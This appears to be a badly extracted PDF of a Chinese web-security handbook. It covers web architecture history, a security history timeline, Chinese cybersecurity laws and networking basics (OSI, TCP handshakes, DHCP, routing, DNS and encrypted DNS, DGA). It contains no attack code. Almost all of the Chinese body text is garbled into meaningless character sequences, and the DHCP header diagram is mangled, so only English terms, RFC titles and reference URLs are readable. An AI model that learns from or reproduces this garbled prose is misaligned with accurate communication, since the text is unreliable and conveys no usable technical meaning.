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CHAPTER 1

1.1 Web FARE{t

1.1.1 {HEmig

BATTE

Web BARIEBAINEL, W5k FNE RSN, KEuEILETE ISP b, i Scr e Bk, HIvEfZm
TR AT . S AT AR R e, A LR R T .

ZIEER

B R RN R R, H45. WU, Flash 22 SRR ORTEE T . ZEEARRINA SR TS S E s B4,
WL (22 LS Pt ok T AT AR

CGI BEx

Wy, ZEARC LA 2 AR, T5& CGI (Common Gateway Interface) NWizifiZ:. CGI X T
Web fiz55 &5 00N AR 2 (A A AR e AR, A Web fizg5 & nl Al CGL $ATAMIAEFF, 1EANE
FEFPARYE Web 53K A4 &S A A

TR, S PR TR W PHP/ASP /ISP g Wi AT, B X 25 n] ASE BBy . )
A B K B AR
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MVC

i Web W T & Bk brEfe, HBLT MVC ZEAH., MVC & Model/View/Control (455, Model
TR, B View 25 HTML 3L, 5§l Controller MK, M
Model F1 View,

Model, View #il Controller )73 JF, @MUY 5T f 40 i B4R, (SRS ] PR A UL TE 4, Web
O P ) P BB SR P AR BRI 8O 7 I 28 e ok i T e e ) 7 OB BB SQL D), i 3R
T ORM (Object Relation Mapping) HIHES .

BT MVC, RUsat B A MVP, MVVM 4,

1.1.2 B H

ERRIERE

1 Web SRR JEEA], HlJGis HGHRAHRE] Web 28, XML, SOAP SFH A B 77 2.

Ajax

TEFF MR, H PR B R E A ek R, H PR ZE. T2 Ajax (Asynchronous Javascript
And XML) FARBWATER , T HEAFH AL T HEEA T Fi$E T ] ARS8 B gl . X (i1 Web
N FFR P S A TR ERB R B P AE, I T HE M 2% L AR TR A AR MR

RESTful

1 CGL Y, i il 5 2 AT U™ A% DX, B AR AN R 5SROI o, 1 o 0 ABR T R AL F5-07 T
s £ BRI RIS 0y, IsATHE PO S, M ahnnE b dy LB g R T, il HTML5, CSS3,
JavaScript Z. Ji5 i 5 SEAE W AR AR ), 9 BB 1S N A 2

JEiF, REST (Representation State Transformation) i —FiATHT Web Z244) KU o

REST &l AT URL RHLRGUIRE, o FH HTTP RHHIE L, ARG HTTP /5 —Fhicft
BoRE sl . — RESTful 4 AR AHHE :

o WA A IF

— api.example.com

— example.com /api/
o AT RS P

— api.example.com/v1

— api.example.com/v2

« fiH URL 5 Qs

2 Chapter 1. FFE



Web-Sec Documentation, &% 1.0

— GET /users 3KEUIA H
— GET /team/:team/users R A BAFr A H F
— POST /users g#f{ |~
— PATCH/PUT /users &M P
— DELETE /users fIjBRHEAH P4
o 1 HTTP ghialilliidffi:
— GET KU, sz
— POST B
— PUT/PATCH SUH¥EU, % FimbR ibos B v I A
— DELETE %55
BT AR
— (TR R 25 32 [ ey ]
o BRIAMEA JSON % % =
A TR SR

GraphQL

T3 I 265 1 55 3 S5 AR AT SR 2R R 2R, Sl T A IX 2837 5, Facebook #EH T GraphQL , PAELRE
IR AT A . B s T GraphQL 524 APT A2 H 77 3.

Z

W A5 XPEREREOKREE S, AlS TR G HTTP /2, [ E X Protocol Buffer &5 75 AR M HREUE A H.

1.1.3 E#aiE#

BV 55 AT A J Ml 55 R At Ok AT 2% . AR BRI REREAR 20 O AR, 3L T el & 5540
o MRS . MBS, FdlEsR. FHAK . ZF. CDN, JHEBI ., LS8R ok
2, T Web FARMIZ4ER AL .

BB Z . [RT Web 241 i0S. Android S5 HAbI7 500t BIAE Web JIR 55 10% i3 5%
BRI O R BUEE I MySQL. PostgreSQL B A AREN 275K, I T Redis/Memcached ZE174¥ 455
— ST AR TR SR AR

TR RS FEK, BT Lucene/Solr/Elasticsearch 23 R 5 4%, Kafka/RabbitMQ/ZeroMQ
HERSG, Spark 1HH5|%, Hive i -5 4 A R S RIEEH .
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o B #F

PR ML R, T B A M i . RSN g P IR D, BFumE . B
Hi L APRACHS . AT, B UBEEE

S

W B R R, BRI EDUREX T R, A ARSI R ARG H, TR
T Pl 2 AR RS HER (RPC).

1.1.4 ZRE

SVPEEA 2 BT, KETERERAT AR RSB, S48 R N A R, Bl
JEH0 IDC M%K%, SE RS OBRAE, AR A T AR S . RS2 )5, & DB
WLz ML, EEREEsE btV RS, XPTsS M gFRE TaaS (Infrastructure-as-a-Service) .

WEE A AR RS, IR AT AN, SIS DI BEIR MU 55 B2 Serverless f4E
.

Serverless

Serverless Zefs P44, BJ) Faas (Function-as-a-Service) il BaaS (Backend-as-a-Service) .

FaaS Zisf1 P&, M EAATHRERATI BN — L BT S . BURALIT 5558 2R o6, BUE i
Froctideas . B aFas, il hdid =-F- 6 58 R B AT -

BaaS W8 1S 40F, BET APT SEMh = iRss, TERERA . XAl HES. HEMRS
FE.

R 55

AR 55 YR 2005 4F Peter Rodgers 1175 = s A S S H Ak Web RS (Micro-Web-Service), R
A EAEARLIT Unix (B HERITHE. 2014 4F, B Martin Fowler 55 James Lewis &[RIHE H T 55 M,
JE SCT TR S5 BEAE WA & — i i — &/ NEUIR 55 R R BRI s, BN IRSSi2A 17 B SR, 9
AR B TR (HTTP API) .

TR S & —Fh 2 T A A T RN ERE A B R A XU . B R B i SN & i 52 A R B R 7
7

FAMIFRENR, LRG0

FAMRSF FEE BG MEER, ATOAMSI I TE . A R AR 4
HFAMS Z @ APT f 7 s TiE f

BAMASAAMLHPRES I H IR BB R 55 A B oo AT 17 1)
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Bl 5 IR 55 AR IR B A g, ik Fp R AR e b B T R . 2018 4F, SB—AMEiim LH single-spa HBLE
github, 15 H I T 3T single-spa IHEZE giankun.

API f3%

APT W52 — s, 2 om ATF AN R AT 5, SE—i APT [5¢, i APT [ RPN 5
Sl 55 BTG, LI AR S5 I BRG] APT ¢ EHT, e 55 6 BRARR A ) A BT DAASCEI X8 7 oo
B, AR RSB T RS IR PSR BRI A S5 AR, R S5 Ia BRI T SR B A 5 S B

1.1.5 R#FAXR

Cl/cD

Frgi gl (Continuous Integration, CT) @ik FF & A Gk TAEAE MBI I 20y SOh )i /o A9 00 52 180 B T i
b I WA Y € i PN NN 2 GRS S RUIE N DT = 4 e

R824 (Continuous Deployment, CD) JEHpZ 82 AIY &, B RFAL M A B0 ol {4308 B 0 A 7= I
XAEASE AT AE AR A P IR TP A, DRI e N AT ATE TR M AR A AR 00 T, Bk
bug 85 s MR R -

1.1.6 &5

e Scaling webapps for newbs

o GitHub {9 Restful HTTP API #1143

1.2 MBBPHRAREL

1.2.1 B AR

1939 4F, EIRBRE T Enigma, (fRGFEFTEEHR TWAE, X2 FI—UTEI LT B IE AT
o, XNEHETH RS A R, AT I AR IR

1949 4%, 25 - 5 - #54K2 (John Von Neumann) $H 7 —#0] & HIHBFBRTT, XA 2ttt
M R

1970 4E 3| 2009 48], BEE FEFMOREI AR, ML WHHEIEANTIE . FEM LRI, REFR
GHGEERIPE, ZEBRRBMAE LI R. RERGWRITHRFZ R T AT M, e HErL, i
PATE A5 8 R G155 — B s # L T, w AR 2 ) 1 & 25 E 5 34 LR

1972 4F, ZEpp X Bt gl Computer Security Technology Planning Study #2H .

1984 4F, Ken Thompson F£ Reflections on Trusting Trust — XN T B O UM LE R iZEEs P M S 115k 3k
B Unix AR, 325 R ALy 55 50t

1.2. FEBBRAEL 5


https://arcentry.com/blog/scaling-webapps-for-newbs-and-non-techies/
https://learnku.com/articles/24050
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1988 4, Rt EeAff [ K (Carnegie Mellon University, CMU) f{—{v;2#4E DA H 19485 T Morris Worm,
PORETi RN OREN PR R NG E i

[4E, CMU i) CERT Coordination Center (CERT-CC) > T Ab#E Morris Worm X} B H W i i AR, 4H
BT ENLE 2N (Computer Emergency Response Team), TG &EREZANEZR. X, FE
H#otz T CERT. SRC Z£H41,

[FIFERRAE 1988 4F, Barton Miller Uz Ae gl i ERZA THEHLEE I [, HIKIRE Fuzz Al (Fuzz
Generator) A&, HI T3 Unix B2 Fepg L d:, B BELE G AR AR 7 B2 55t . Pk, Barton Miller
ECPRUR I EZ NI X TN s

1989 4F, C.J.Cherryh %3 T /M The Cuckoo’s Egg: Tracking a Spy Through the Maze of Computer
Espionage , EAARVEEMRIGEN R L HL Ao, 5P il T RBERORI I .

1990 4F, —LERIZE R SR T AR L, By RO BT MR85 KOG, FTRALEER FTP S5 AR .

1993 4FL, Jeff Moss JTAHFAFAE IS N IR 4E nffr2¢ J» DEFCON (th 5 DEF CON, Defcon,
or DC, 48k KM HENZELWZ —) . CTF (Capture The Flag) H#ERE R WEEIET 1996 4EhY
DEFCON .,

1993 4 7 H, Windows NT 3.1 %, 5IA T HIAIE. P54 G 2E 4 H T 20 a4 HLE, i min
Windows 9x WA JLT-3A AL 22 e PERLE

1996 4F, Smashing the Stack For Fun and Profit &3, FEHeRi S X th i A 07 200l 7 IFapEY
TAE.

1997 482, Jeff Moss JF4f2¢p Black Hat , PASLAYSZ I 04T (5 B LS R A mAE I, 2 H\irm ik,
Black Hat 2 ENC A IMZEAT

1998 4¢ 12 H, Jeff Forristal 75—fm & P33 TAIH SQL A BB Bedi— AR fl1, Mk SQL
AT iz e .

1999 4 1 A 21 H-22 H5E )@ Research with Security Vulnerability Databases f{) WorkShop |-, MITRE
K ih AN David E. Mann il Steven M. Christey &% T —f4 N (Towards a Common Enumeration of
Vulnerabilities) WJHEZH, $#£H T CVE (Common Vulnerabilities and Exposures, i# g3 ER) FIHTE,
TEBAEWERIHF AT T 321 A CVE il .

1999 4% 12 H, MSRC py—2e TN A B T — 2L Wb g AR 67, M TEsE e 5 A T X Fhai
i, FHFrK Cross Site Scripting.

2002 4£ 1 H, Microsoft & T “F{EH#iiTH" (Trustworthy Computing) 1%, PAK: BI#HER™ W RIS 7E
AJ FHAEEeM, AR, ATEEEA RO SS 52, SDL (Security Development Lifecycle) HU7E T
B .

2001 4F 9 H 9 H, Mark Curphey j53) T OWASP (Open Web Application Security Project) Wi H , JFHA7E
#E X ARt —28 Web M RAGSCEE . A THAE,

TEZ J5, Responsible disclosure / Full disclosure S & AR A AT E 2

2002 4F 10 A 4 H, Kevin Mitnick Zi2 ) The Art of Deception (MR ZAR) WL, XABIEMMNE T
th o TRE2EAE TG Ho 2 anfal 3 A1), Kevin Mitnick WA A @4t & TRE2AI I 1L E4H
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http://pages.cs.wisc.edu/~bart/fuzz/CS736-Projects-f1988.pdf
http://www.phrack.com/issues.html?issue=54&id=8
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2005 4 7 A 25 H, Zero Day Initiative (ZDI) 7, &l SeiT TR .

2005 4F 11 H, ETM 1941 4 2 AFFEREIRIREFR 21 % &%, Director of National Intelligence & i i3
Open Source Center (OSC) , #ATIFRETEMAULEE, )5 Open-source intelligence (OSINT) AT &t AW
HINYNGIE

2006 4F-, APT(Advanced Persistent Threat, gl Fraediilh) B rkasi a0, HRHFEIRAM 20 4 90
AR E] 21 AW AE I [ FE S FNBUR ) 45 & B Beie ELRR 22 1) I 46 <k

2006 4Fi, EEE+Z4E (DHS) FFREMERIT K “MZXE" (Cyber Storm) F1)E R M 2% Fl:
>

BEE M AURWI AR, BT BaARA TR, B FBr. ZarR g 7EB6E AL mA B s
. B PRILSAENUE], B S REAEHR . TEXG A 2R A BT A AL (4 57 At G S SR AR . 1 S
WA, AP EYLEE S 6 — SR EREE Gk . Eddikd)s, —EXBAEREM T RE, K
T SRAELAY K, 2] T H AR AR — P . AR FARERED B R, A IR R B ss i
—LERE LA AR L 95 H

2010 4F 6 H, M (Stuxnet) P&, FEX 2 Ja BN FEUCT SR A N 45 25 18] 2 A B % b2 — . Bl
J5 ) XcodeGhost, CCleaner S5t py #EHH FHF#T AL T 8 KM

FE 2010 4E Forrester Research Inc. /ATl T “EE5E” BOMRSEIRIRT .,

2012 4 1 A, Gartner A AE]#HEH T IAST (Interactive Application Security Testing) WM&, 24t T4 &
DAST F1 SAST WFpH RIS 5 A7 IR 30 RICRAR, N7 pAE 22 APT 0 AR
5 Bt

2012 4£ 9 A, Gartner A FEWISY F David Cearley $#2H T DevSecOps HyilE&, e~ DevOps B AR N 1% 00
T

2013 &£, MITRE #£H 7 ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK)
, Xde— R LA AR G T A T BT B R FOR AR AL

2013 4, Michigan K2#IF4G T ZMap WiH , 7E 2015 £ XPNIHE A Censys , MiXZ 5 W 25823 [a] I 221
T H B

2014 4 £ Gartner Security and Risk Management Summit [, Runtime Application Self-protection (RASP)
PR SR L, FEN ) Z T2 a0/

2015 4, Gartner FHRFEH T SOAR IS, S E X & Security Operations, Analytics and Reporting,
Rl gz 54

2017 4, Gartner X SOAR #&M T EHiE X Security Orchestration, Automation and Response, H[J%74:
. B SR,

1.2.2 &85

« OWASP

e NT Web Technology Vulnerabilities

1.2. FEBBRAEL !


https://en.wikipedia.org/wiki/OWASP
http://www.phrack.com/issues.html?issue=54&id=8
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e History of CVE

e history of some vulnerabilities and exploit techniques
e securitydigest

e Early Computer Security Papers: Ongoing Collection
e Security Mailing List Archive

e Computer Security Technology Planning Study

e Smashing The Stack For Fun And Profit

e Happy 10th birthday Cross-Site Scripting!

e About Microsoft SDL

« ABOUT ZDI

o Open-source intelligence

o Runtime Application Self-protection (RASP)

e ZMap: Fast Internet-Wide Scanning and its Security Applications
e A Search Engine Backed by Internet-Wide Scanning
e Black hat About

e The DEF CON Story

o Reflections on Trusting Trust

e What is DevSecOps?

1.3 ME=ey

1.3.1 MELLENL

W 2“4 4 1) — 3 H 8 CHR M5 B R G AR . 0k S R e 8 2 2R, SRR B SRR
MR, ek, MEE, REAEESLL. WA, IEEHLETT, RS TW. W22 4 1 B UL 2 78 I 28 A5 R
TURIFIE bR AN L4 R W g

W28 AE R RIFREE AN N A AR IRRE, Bl RSt E S . REEBNAENL S . FREF S1E%
2425

W28 2 A P AT SR FE I 58Pk ol R . PR etk ANTHOEEME . vIE . WA, HHAE. H
=AM EARNE R BN (Confidentiality). 5221 (Integrity). B 4 (Availability),

PUE TR R AR S St 2 AR AU P et W] DA RO . S OmAdiE. D7 a4l fE sl
SERORSCEL, 5 EE B LA S ARA M R A R AT B, BRI IS B RO R A B AFAE .
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https://cve.mitre.org/about/history.html
https://documents.pub/document/history-of-some-vulnerabilities-and-exploit-techniques.html
http://securitydigest.org/
http://seclab.cs.ucdavis.edu/projects/history/CD/
https://seclists.org/
https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/ande72.pdf
https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf
https://docs.microsoft.com/en-us/archive/blogs/dross/happy-10th-birthday-cross-site-scripting
https://www.microsoft.com/en-us/securityengineering/sdl/about
https://www.zerodayinitiative.com/about/
https://en.wikipedia.org/wiki/Open-source_intelligence
https://www.gartner.com/en/information-technology/glossary/runtime-application-self-protection-rasp
https://zmap.io/paper.pdf
https://censys.io/static/censys.pdf
https://www.blackhat.com/about.html
https://www.defcon.org/html/links/dc-about.html
https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf
https://www.devsecops.org/blog/2015/2/15/what-is-devsecops
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SERMER AR G B St AP B R T, PRER R EABIR BB 2. AN FZ RN R AR E AU fE
AR, AR AN AL

AT PG R SR T A S A ORI L I8 B e AR IR B 00N REIKAZ G B Rp 1. TE R GEim ATy
IEFAF U TR S, YRS AN SRy, W] ARGV REBC AT o 2 B 0 2% (5 B R G I 1)
P — Rz VERE, DABRER N T PR AUIR ST -

7 U R S 77l KR i 6y P i e P 4 €7 7ae o wees: (st U S S TAE 1= MDA B QUEN W 4 751 i
TR . R BRHMBIRSE, EFERAeREERIEE, ZORTEEE R RS e, LM%
G R e T

1.3.2 RS54

FEARGAL RN, FERERRIFRIR. EETE. BF R fF RIS AT RE I S m] 0L BOR AT A
PR TR P BOR AR FIBAR . W WERAIIRERR, ARG T FERES, B 2B
o

B PF B IR A e 55 M R BRI Yy B D T A, 2RO, RITEPFRR I 7 i WA K

AP ME SR VT BT RN T ARSI Pt B A, ANt s . BT i IR L, oA T (R
ARG LA HATRAT4E

1.4 ZR5EH

1.4.1 #4E

o e NERSLAINE W 2827 47k
o POZET it AR A B E
o KHEAE E BRI A IR 25 B
o AR NRILFEA NF B
o PN RO E R0 20 4 vk

o

14. FZR5EA 9


http://www.npc.gov.cn/npc/xinwen/2016-11/07/content_2001605.htm
http://www.gov.cn/zhengce/zhengceku/2021-07/14/content_5624965.htm
http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm
http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
http://www.npc.gov.cn/npc/c30834/202106/7c9af12f51334a73b56d7938f99a788a.shtml
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CHAPTER 2

BRI S il

2.1 FLEEl

2.1.1 {HEHEEMEAR
FHEML % f S TR TR . Pl 7 S BB TC S A R a3k, AT e g 254
PR GO B . S H IS,

Hrh IR T M2 EALE G ARG, G EIL. Kumfl R TaE, BRI 3 2R 1 P
VRRCE . B AL PR B B PEAIRE 3 S DA R 5 I 4

SR UE, TR MR — il 5 1 R . A T M A R R RS

2.1.2 EiShHil
N T SRR A P S At , S0 Tl AT piS, HoE SR EEMA0r (£ 0r) X
PEAT A5 R A Fr e AR Sy 1) — RE AL
MR BB =R, 50
o A IR EE SRR R Rai ks, DARERE R BUNF R R X
o WS TR LR AR R Y R
o T SRS I A

11
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2.1.3 OSI tEER
&g

OSI (Open System Interconnection) - ¥ BlE . HllRbErZ . MAEZ. LHZE. 2102, rE. N
B, HAEKIIREWT

R

o AROUESL. EPAIREY) PR TR LK. D RERIAR SRR
o JEERAR B TEEER (R ARG e Ay R A
o WECREEHZHN0T, R AR R R Z B i L (5

HiEsEEE

o TEVIBEBERH M b 7] R

A I 285 J2 S A ) B (A A0 14 i S e AN s il
S PRSPyt A Al

RGN0 21 T A 3 e AR ) 2
AR B AR it

mEE

o DD B v A RSO D B R S, Ao I A i A T A
o UL AR RO S 19 4 1) (e R 2 ) BT A )

o (o P TR A A SR TR ) R B SR Y D

o ARIALITHEFR N4l

Wz

o RPN E L

o BNORAKTRMESE, R, KRR FBCE N AL, 1 4R A8 4T o 4 5 B A
IEFREIREATM H fth

o TERGEZ BB T AR Z I 05t 1, e Pt ) i 14 8 DR 0 A A AL A Al
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2GR

o R R TR)E F AR Y PR

o ATTHATLIEHN (0 HEHR A VR LB AR ) o (R RO I A B 24 i 2 A i E ST,
R

o i LT A 2R 2 AT T AR 2 O T fE

TRE

o PROBCEEREAR. BB g AD FE R

W R OEAEAL B BRI TR AN 3L

REIH S A I 1A i A o

PRAT RS2 B8 s e A

M HZEIAR R, Fiussl, HERRISNR, RERAHAENHZEF

N B

o WIEAFR, EATESCT BB A A A R SOPE R AR

ST

0%

= ERAE T 70, R PRSI, #F R Mg A48 (hop-by-hop) ShALAl, 77y
MR 2% 2 B ek B UEATIEAR o ol SRR A A B RIS, (RO T LAY R PR A

R BT R T, R R SRR B PAIE R T B (1R 8

etz m = 2R EZ D, RS — M unEbmrZ 0, PRAIEE A e, 2 N PR sy
Fist (QoS) R, Il =2t andE s B .

2.2 UDP {hi¥

221 FERS

o WBOTE/N. 2.

o UDP @TiEHN, HAREOE 2 mi AT B i
o UDP IR RS J152ht, BRI PRIE AT FE5Z A
UDP A e .

o UDP S{ff—Xf—. —XZ. ZH—MEZXL L HEIF.

2.2. UDP ¥ 13
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o UDP WEHHE/D, HAE 8 A4F

2.3 TCP thi¥

2.3.1 &

TCP (Transmission Control Protocol, f&#i#zbiltul) 2—Fim iz, nEEY . BT ie =
fEPil, i RFC 793 5E .

SRET
ST (Three-Way Handshake) RAFHL—/> TCP WEBT, T34 PORFURS A I L% 3 1 EIAHS
WIS 2.

F—UARFE RGO SYN By 1, B E—AME seq=s , HRZEI 0 ARG NS i, %7 ik
A SYN_SENTRZS, S5FRS5mbfiA.

5 AR T RS i B R R ARG AL SYN=1 HLE% Fimit K2 EH, RS umRiinE s SYN fil ACK
#EHN 1, ack=s+1, B4 —AME seq=k , HFHZEIHE KB LK P um AN ER K, RS mitA
SYN RCVD .

FBEIETRE P IEIIANG, K ack (H2EN s+1, ACK Ar&Efi@E R 1, WRIER R &S ACK
B 1, ack=k+1, HRZEIRE AL ST, M55 miea ack (27N k+1, ACK FRiEfi@dh 1,
RIEFNER N ), &P unAlikssbndt A ESTABLISHED RE, SEM=04ET.

mRIET
PIYHEF (Four-Way Wavehand) 77—~ TCP 8, T4 P RS i8S 5% 4 1 ARIAIE
BT

B WHEFH PR FIN | FIR S PO B S SR B RE , & PRI FIN_WAIT_1RAS.

BT RS s FIN J5, KiE—4 ACK S% ), #ilFS AR EFs +1, RemiEA
CLOSE_ WAIT k7.

B = RAET IS5 i Al —A> FIN - AR K PS5 s 2 % P am ) Bt , st A LAST ACK MR-

FURIETE P miE FIN J5, % umdt A TIME. WAIT JRE, #E kL4 ACK 43llts5um, #ilTs
FWEN T +1, RSt CLOSED WA, SERRIETF

2.3.2 R

IR G PR SO 2, IR S5 RN BB, DASR [RRIX R4 T A R P RE T e B, ™
IR A8 2 I A 7 95 B AN BT BB R
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TCP R A0 ZEE MR BE R P ZE R 1) A A2, TCP P ZE R A i Z RS2, {245 Tahoe, Reno.,
NewReno, Vegas. Hybla., BIC . CUBIC. SACK. Westwood. PRR. BBR %.

2.3.3 SEHE

e RFC 793 TRANSMISSION CONTROL PROTOCOL

e« RFC 2001 TCP Slow Start, Congestion Avoidance, Fast Retransmit, and Fast Recovery Algorithms
e RFC 3390 Increasing TCP’s Initial Window

e« RFC 5681 TCP Congestion Control

e TCP congestion control wiki

2.4 DHCP thi¥

2.4.1 &5
NS EHE E PP (Dynamic Host Configuration Protocol, DHCP) & —/~H F J5E M i M &, 17T
OSI B H 2, EH UDP thl TAE, FZEH T HZAE IP #ikkgs -, 7 (88 gk v —4E .

DHCP 552t M 67/udp, &P ufiii] 68/udp, DHCP izfT4r HPUAEAIRR, 750K 1P H12Y,
fefit IP filZh, Medk IP MIZAIHHIA IP 129, P omfedkiis 7 —A> IP uhkDAS, sinlPA%E—4> ARP dif
SOREEG T DHCP JIRSFAF b E B 5] A1) TP w5,

2.4.2 DCHP R

01234567890123456789012345678901

Fot—t—t—t—t—t—t =ttt =ttt bttt -ttt -ttt =ttt =t b=t —t—+—+

| op (1) | htype (1) | hlen (1) | hops (1) |
e Hmmmmm o oo Fommmm o +
xid (4)
e e +
| secs (2) flags (2)
o e et e +
ciaddr (4)
o +
| yiaddr (4) |
Tt +
siaddr (4)
- +

(QE3)
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https://tools.ietf.org/html/rfc2001
https://tools.ietf.org/html/rfc3390
https://tools.ietf.org/html/rfc5681
https://en.wikipedia.org/wiki/TCP_congestion_control

Web-Sec Documentation, 475 1.0

(8 L)

2.4.3 BEHEE

« DHCP Wiki

RFC

e RFC 2131 Dynamic Host Configuration Protocol

e« RFC 2132 DHCP Options and BOOTP Vendor Extensions

e RFC 3046 DHCP Relay Agent Information Option

e RFC 3397 Dynamic Host Configuration Protocol (DHCP) Domain Search Option

o RFC 3442 Classless Static Route Option for Dynamic Host Configuration Protocol (DHCP) version 4
e RFC 3942 Reclassifying Dynamic Host Configuration Protocol Version Four (DHCPv4) Options

e RFC 4242 Information Refresh Time Option for Dynamic Host Configuration Protocol for IPv6

e RFC 4361 Node-specific Client Identifiers for Dynamic Host Configuration Protocol Version Four
(DHCPv4)

o RFC 4436 Detecting Network Attachment in IPv4 (DNAv4)

2.5 BHREZE

2.5.1 &

¢t AR T T R B — A Rt 25 2 H A0 R B iR IR AR IR . (PR SR i B, BRI SERT
25 ER AR BRI NN s T RA S 2 MR ARE (metric), T DA [] % e SA 0 S LR A0k
AR,
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https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol
https://tools.ietf.org/html/rfc2131
https://tools.ietf.org/html/rfc2132
https://tools.ietf.org/html/rfc3046
https://tools.ietf.org/html/rfc3397
https://tools.ietf.org/html/rfc3442
https://tools.ietf.org/html/rfc3942
https://tools.ietf.org/html/rfc4242
https://tools.ietf.org/html/rfc4361
https://tools.ietf.org/html/rfc4361
https://tools.ietf.org/html/rfc4436
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2.5.2 BHEFHZENTHEE

U/ ME R Z BB AR, DABCHe e % oh 2 S SRS B EATTAY H i 3.
R IRA R R

o IEHATE: PR AIETY AL E] H BT A

o fAELE: SCBAOTRE, FORECEITEE/IN

o FENME: ARG, SVRREASE MOl 55 AN R 234 M AE 1L

o FEME: BEKIIH TC#EBTT
o WPE A REE VLS LA R

DUt R eI

[ ]
=1

2.5.3 Bi&% % AS (Autonomous System)

e
o MGV B B R A4
o BEAI—Fh AS PATRE B e R SORI I ) ) B R DA 2 4LAE % AS NI
o BEH—Fh AS ZIA) R e EE P UUT AR E 20 AIAE. AS Z B B -

FRAE—A AS [T Z R0 A B e SORI B B, (EDGHAl AS RIS )@ — AN B — A 1 — B ey b 45
R o

2.5.4 FXIIEBIEFHY

R RI A, 3% F P SORT DA PRI bl TGP (Interior Gateway Protocol) F1ANHM & EGP (Ex-

ternal Gateway Protocol).,

IGP J27E—/> AS PP I 0 B% F 5, 1 RIP AT OSPF $ipL, S 3 P % B 4% (interdomain routing) .
BIFEHURE B EHUEEARRIR AS v, FEBRIRE K AS B FHns, 6 AMERI XA EGP K% h 2
FEARBE S N ERAL T, W BGP-4, ZEH hk$E (intradomain routing).

2.5.5 RIP

e {E B (Routing Information Protocol, RIP) e/t g [ k() i ph gb B S . RIP HMSUEER K
g5 PR — N AR A LA N E A B IR R G A HAAE— 1 R 0 255 A BE R T — kit R ARt

2.5. RHAEZ 17
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2.5.6 OSPF

Hrc SR (Open Shortest Path First, OSPF), XA O kA2 ide” 2 1] T Dijkstra
P iR ARINE SPE, FUE— MM A Y, BTN HALR Bt B A2 R

2.6 HEZRG

2.6.1 &F9t

DNS & —AMaf AR K- S M, 24 A TP s A B W i — AN A B E, RERS N 7 b
i HER . DNS ffiff TCP F1 UDP H¥[ 53 w11,

2.6.2 ERIFR

DNS ig&
. A
— R X TPv4 Hil:
« AAAA
« NS
— WA R S5
— IR A Hh IR 5 4 TR 5 S AT
« PTR
— Rl
— M TP Hihk 344 5%
« MX
— WL R AE i R
— TCSRMPE AL X TP Mk
e 2 55
« NOERROR

No error condition

« FORMERR

18 Chapter 2. HEHFLE S5l
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Format error - The name server was unable to interpret the query

« SERVFAIL

Server failure - The name server was unable to process this query due to a problem with

—~the name server

« NXDOMAIN

this code signifies that the domain name referenced in the query does not exist

« NOTIMP

Not Implemented - The name server does not support the requested kind of query

o« REFUSED

Refused - The name server refuses to perform the specified operation for policy reasons

« NODATA

A pseudo RCODE which indicates that the name is valid, for the given class, but [there]

—are no records of the given type A NODATA response has to be inferred from the answer.

2.6.3 BRRFETIERE
fEtTidiE

DNS ftrid g s iy, AR T

o P EfIAIE 4 www.example.com F}, JEEFAMN] hosts B HAICFKEEAYEGA DNS Z47,
RA, BHIRPIGER, 750w bR 55 48 A i34 1 1P ik

o BBHZEAF NN, B mAARRSS AR AL com TRZ TP Mk

o MRS E AL IR SS & com TRIURA IR 55 2 i1 TP Hukk

o JBIHIE] com TR A XS5 #3157 example.com MIBURUR S 271 TP
o com TR RS54 R AR TP Mk

o #1HH] example.com [RUEIRSS# £ 1) www.example.com [FJHbHEE SR
o BUBUIRSG 284550 www.example.com [HbAR 5

o SBIAMRSS AL A R ] %

2.6. WHERG 19
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g

DNS g5 danl CAZ> A LIRSS 45« #0055 A A7 IR 55 i o 3% 182 15 45 00 R 55 A A TR 55 75 DL, O
(o AT 2 B SR B SR A . A% R R T A IR S5 A IR R AP e R BIL

2.6.4 fR55283E

AR 5528

MR 55452 DNS B0, 5T BRI TG A AT, T 4R iR f5 5., 9FFF DNS #if5] 334
PR35 I 55 4 -

HRIRSS ZRAEI A AR R TR . Jek, — R s

13 & IPv4 IR 245550 a 3] m, B a.root-servers.org | m.root-servers.org, JiAH RS2 17ME T
B, (U ICANN HEER) TLD 3848065 . -

BRI AR 55 28

BURAR S5 s LA Zone SUIF, HEFISNIRA BURAE ., 3BIAAR S5 & nT AMBUZUR 55 % 3145 DNS 2
WRHEIRICR .

BB 55 45 75 ZAE PRI 84 i Jg i) TLD A BUSEMY,  [7]—Usiflie 55 4% 7T AR A R] TLD 3847, [A]
— AR T LA Z AR S5 4 -

B3Rk 5528

EBIAAR S5 s ST BN AR, RTINS K . AERI AR I AR 5 U TSR T
M4 1) Hint SCPF

2.6.5 MMEH=E

YE RN ERMIB %, DNS A ML, 452 DNS-over-TLS (DoT). DNS-over-DTLS. DNS-over-
HTTPS (DoH). DNS-over-QUIC DA} DNSCrypt.

DoT

DoT JZfE 2016 4% FET RFC7858, f#if] 853 w1, JHIHAHKE Client F1 Server ifist TCP Hpl ST
TLS £ 5 b4t DNS 144, Client il SSL iEHBRKIER S 28 &6 .

DNS-over-DTLS

DNS-over-DTLS #1 DoT 2t), KAHFETHA UDP thisliiiAg TCP #rils
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DoH

DoH J%7E Kk # RFC8484, fififf] https://dns.example.com/dns-query{?dns} K&k 52500 [P, & H
https 4 443 31, FEHE RN . DoH &% DNS JIR 45 g AT M AAGE, At fallback ¥ . H &l
Cloudflare, Google ZMR %% DoH 24T 4.

DNS-over-QUIC

DNS-over-QUIC Z4HEA DoT KM, (H2 PR, HuideH Gkt

DNSCrypt

DNSCrypt f#i ] X25519-XSalsa20Poly1305 1fjdEAR#ER) TLS, H DNSCrypt f¢) Client F5Z&0 5041,
Server FFEH LT IHIET

2.6.6 DNS FIH

DGA

DGA (Domain Generate Algorithm, 4 /EHE) 2—FFI BN AR A C&C 844, ATkt
A BRL RGN BARTBL, W IT botnet Ho —fBok¥L, —4 DGA S & MF7E N H 294E 1-7 KA

WAEHT, &R S s TR —2& DGA BYE, A MM #4025, UFEE RS r e, %k
BEHA/ DTN, AT DAE S A, HT DAL B AR TP FR, pREi AR TP, A4
A1 IP HR AT DA TP AR AL

